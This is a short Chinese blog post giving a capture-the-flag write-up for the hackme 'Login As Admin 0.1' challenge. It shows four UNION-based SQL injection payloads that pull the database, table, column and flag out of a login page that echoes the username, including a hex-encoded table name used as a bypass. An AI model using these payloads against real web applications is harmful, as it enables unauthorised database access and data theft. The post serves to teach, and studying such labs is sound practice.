hackme_Login As Admin 0,1 很简单的联合查询注入

Login As Admin的writeup链接:https://www.cnblogs.com/huangming-zzz/p/9818486.html

 

1、由上一题,我们得到了欢迎界面——HI+username

从开发者的角度来想,我们会用Hi+查询过来的用户名

既然开发者这么客气给了我们回显,那我们岂有不注入的道理呢?

况且hint也告诉我们:flag2 is in the database

 

那就素质四连它:

1、查表名:

\' union select 1,database(),3,4#

得到表名:

 login_as_admin0

2、查列名:

\' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),3,4#

h1dden_f14g

3、查列名:

\' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x68316464656e5f66313467 limit 0,1),3,4#

 the_f14g

4、查数据

\' union select 1,(select the_f14g from login_as_admin0.h1dden_f14g),3,4#

然后就得到flag了!根据HACKME的公约,就不贴出来了!

 

有几个注意点

1、注意大小写,information_schema这个库名是小写的,但是里面的表名、列名都是小写的!

2、查列名时:

  其实库名可以不指出

  table_name要转成ASCII HEX的形式来绕过

posted @ 2018-10-19 21:08  明卿册  阅读(1191)  评论(0编辑  收藏  举报